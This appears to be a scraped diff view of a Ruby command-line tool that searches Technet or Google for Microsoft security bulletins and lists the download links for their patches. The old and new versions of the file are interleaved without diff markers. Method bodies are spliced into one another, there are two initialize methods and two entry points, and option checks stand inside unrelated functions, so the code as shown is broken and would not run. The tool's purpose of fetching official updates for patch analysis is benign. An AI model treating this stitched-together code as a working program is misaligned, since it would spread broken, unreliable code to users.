The way this tool uses Google to find advisories is the same as doing the following manually:
|
||||
[Query] site:technet.microsoft.com intitle:"Microsoft Security Bulletin" -"Microsoft Security Bulletin Summary"
|
||||
|
||||
Dryrun:
|
||||
If you'd like to double check on false positives, you can use the -d flag and manually verify
|
||||
the accuracy of the search results before actually collecting the download links.
|
||||
|
||||
Download:
|
||||
The following trick demonstrates how you can automatically download the updates:
|
||||
ruby #{__FILE__} -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt
|
||||
|
||||
Patch Extraction:
|
||||
After downloading the patch, you can use the extract_msu.bat tool to automatically extract
|
||||
Microsoft patches.
|
||||
|
|
||||
end
|
||||
|
||||
def self.get_parsed_options
|
||||
options = {}
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = banner.strip.gsub(/^[[:blank:]]{4}/, '')
|
||||
opt.separator ''
|
||||
opt.separator 'Specific options:'
|
||||
|
||||
opt.on('-q', '--query <keyword>', 'Find advisories that include this keyword') do |v|
|
||||
options[:keyword] = v
|
||||
end
|
||||
|
||||
opt.on('-s', '--search-engine <engine>', '(Optional) The type of search engine to use (Technet or Google). Default: Technet') do |v|
|
||||
case v.to_s
|
||||
when /^google$/i
|
||||
options[:search_engine] = :google
|
||||
when /^technet$/i
|
||||
options[:search_engine] = :technet
|
||||
else
|
||||
raise OptionParser::MissingArgument, "Invalid search engine: #{v}"
|
||||
end
|
||||
end
|
||||
|
||||
opt.on('-r', '--regex <string>', '(Optional) Specify what type of links you want') do |v|
|
||||
options[:regex] = v
|
||||
end
|
||||
|
||||
opt.on('--apikey <key>', '(Optional) Google API key. Set this if the search engine is Google') do |v|
|
||||
options[:google_api_key] = v
|
||||
end
|
||||
|
||||
opt.on('--cx <id>', '(Optional) Google search engine ID. Set this if the search engine is Google') do |v|
|
||||
options[:google_search_engine_id] = v
|
||||
end
|
||||
|
||||
opt.on('-d', '--dryrun', '(Optional) Perform a search, but do not fetch download links. Default: no') do |v|
|
||||
options[:dryrun] = true
|
||||
end
|
||||
|
||||
opt.on_tail('-h', '--help', 'Show this message') do
|
||||
$stderr.puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
parser.parse!
|
||||
|
||||
if options.empty?
|
||||
raise OptionParser::MissingArgument, 'No options set, try -h for usage'
|
||||
elsif options[:keyword].nil? || options[:keyword].empty?
|
||||
raise OptionParser::MissingArgument, '-q is required'
|
||||
end
|
||||
|
||||
unless options[:search_engine]
|
||||
options[:search_engine] = :technet
|
||||
end
|
||||
|
||||
if options[:search_engine] == :google
|
||||
if options[:google_api_key].nil? || options[:google_search_engine_id].empty?
|
||||
raise OptionParser::MissingArgument, 'Search engine is Google, but no API key specified'
|
||||
elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty?
|
||||
raise OptionParser::MissingArgument, 'Search engine is Google, but no search engine ID specified'
|
||||
end
|
||||
end
|
||||
|
||||
options
|
||||
end
|
||||
end
|
||||
|
||||
class Driver
|
||||
include MicrosoftPatchFinder::Helper
|
||||
|
||||
def initialize
|
||||
begin
|
||||
@args = MicrosoftPatchFinder::OptsConsole.get_parsed_options
|
||||
rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e
|
||||
print_error(e.message)
|
||||
opt.on_tail('-h', '--help', 'Show this message') do
|
||||
$stderr.puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
# Returns download links.
|
||||
#
|
||||
# @param msb [String] MSB number.
|
||||
# @param regex [String] The regex pattern to use to collect specific download URLs.
|
||||
# @return [Array<String>] Download links
|
||||
def get_download_links(msb, regex=nil)
|
||||
msft = MicrosoftPatchFinder::PatchLinkCollector.new
|
||||
parser.parse!
|
||||
|
||||
unless msft.is_valid_msb?(msb)
|
||||
print_error "Not a valid MSB format."
|
||||
print_error "Example of a correct one: ms15-100"
|
||||
return []
|
||||
end
|
||||
|
||||
res = msft.download_advisory(msb)
|
||||
|
||||
if !msft.has_advisory?(res)
|
||||
print_error "The advisory cannot be found"
|
||||
return []
|
||||
end
|
||||
|
||||
links = msft.get_details_aspx(res)
|
||||
if links.length == 0
|
||||
print_error "Unable to find download.microsoft.com links. Please manually navigate to the page."
|
||||
return []
|
||||
else
|
||||
print_debug("Found #{links.length} affected products for this advisory.")
|
||||
end
|
||||
|
||||
link_collector = []
|
||||
|
||||
links.each do |link|
|
||||
download_page = msft.get_download_page(link)
|
||||
download_links = msft.get_download_links(download_page.body)
|
||||
if regex
|
||||
filtered_links = download_links.select { |l| Regexp.new(regex) === l }
|
||||
link_collector.concat(filtered_links)
|
||||
else
|
||||
link_collector.concat(download_links)
|
||||
end
|
||||
end
|
||||
|
||||
link_collector
|
||||
if options.empty?
|
||||
fail OptionParser::MissingArgument, 'No options set, try -h for usage'
|
||||
elsif options[:keyword].nil? || options[:keyword].empty?
|
||||
fail OptionParser::MissingArgument, '-q is required'
|
||||
end
|
||||
|
||||
# Performs a search via Google
|
||||
#
|
||||
# @param keyword [String] The keyword to search
|
||||
# @param api_key [String] Google API key
|
||||
# @param cx [String] Google Search Engine Key
|
||||
# @return [Array<String>] See MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers
|
||||
def google_search(keyword, api_key, cx)
|
||||
search = MicrosoftPatchFinder::GoogleMsbSearch.new(api_key: api_key, search_engine_id: cx)
|
||||
search.find_msb_numbers(keyword)
|
||||
unless options[:search_engine]
|
||||
options[:search_engine] = :technet
|
||||
end
|
||||
|
||||
|
||||
# Performs a search via Technet
|
||||
#
|
||||
# @param keyword [String] The keyword to search
|
||||
# @return [Array<String>] See MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers
|
||||
def technet_search(keyword)
|
||||
search = MicrosoftPatchFinder::TechnetMsbSearch.new
|
||||
search.find_msb_numbers(keyword)
|
||||
end
|
||||
|
||||
def run
|
||||
links = []
|
||||
msb_numbers = []
|
||||
keyword = args[:keyword]
|
||||
regex = args[:regex] ? args[:regex] : nil
|
||||
api_key = args[:google_api_key]
|
||||
cx = args[:google_search_engine_id]
|
||||
|
||||
case args[:search_engine]
|
||||
when :technet
|
||||
print_debug("Searching advisories that include #{keyword} via Technet")
|
||||
msb_numbers = technet_search(keyword)
|
||||
when :google
|
||||
print_debug("Searching advisories that include #{keyword} via Google")
|
||||
msb_numbers = google_search(keyword, api_key, cx)
|
||||
end
|
||||
|
||||
print_debug("Advisories found (#{msb_numbers.length}): #{msb_numbers * ', '}") unless msb_numbers.empty?
|
||||
|
||||
return if args[:dryrun]
|
||||
|
||||
msb_numbers.each do |msb|
|
||||
print_debug("Finding download links for #{msb}")
|
||||
links.concat(get_download_links(msb, regex))
|
||||
end
|
||||
|
||||
unless links.empty?
|
||||
print_status "Found these links:"
|
||||
print_line links * "\n"
|
||||
print_status "Total downloadable updates found: #{links.length}"
|
||||
if options[:search_engine] == :google
|
||||
if options[:google_api_key].nil? || options[:google_search_engine_id].empty?
|
||||
fail OptionParser::MissingArgument, 'No API key set for Google'
|
||||
elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty?
|
||||
fail OptionParser::MissingArgument, 'No search engine ID set for Google'
|
||||
end
|
||||
end
|
||||
|
||||
attr_reader :args
|
||||
options
|
||||
end
|
||||
|
||||
def initialize
|
||||
@args = get_parsed_options
|
||||
rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e
|
||||
print_error(e.message)
|
||||
exit
|
||||
end
|
||||
|
||||
def main
|
||||
cli = PatchFinder::MSU.new(verbose: true)
|
||||
links = cli.find_msu_download_links(args)
|
||||
if args[:destdir]
|
||||
print_status("Download links found: #{links.length}")
|
||||
print_status('Downloading files, please wait...')
|
||||
download_files(links, args[:destdir])
|
||||
else
|
||||
print_status('Download links found:')
|
||||
print_line(links * "\n")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
mod = MicrosoftPatchFinder::Driver.new
|
||||
begin
|
||||
mod.run
|
||||
rescue Interrupt
|
||||
$stdout.puts
|
||||
$stdout.puts "Good bye"
|
||||
end
|
||||
bin = PatchFinderBin.new
|
||||
bin.main
|
||||
end
|
||||
|
||||
=begin
|
||||
TODO:
|
||||
* Make a gem
|
||||
* Make it generic in order to manage different kind of patches and providers
|
||||
* Multithreading
|
||||
=end
|
||||
|
|
Loading…
Reference in New Issue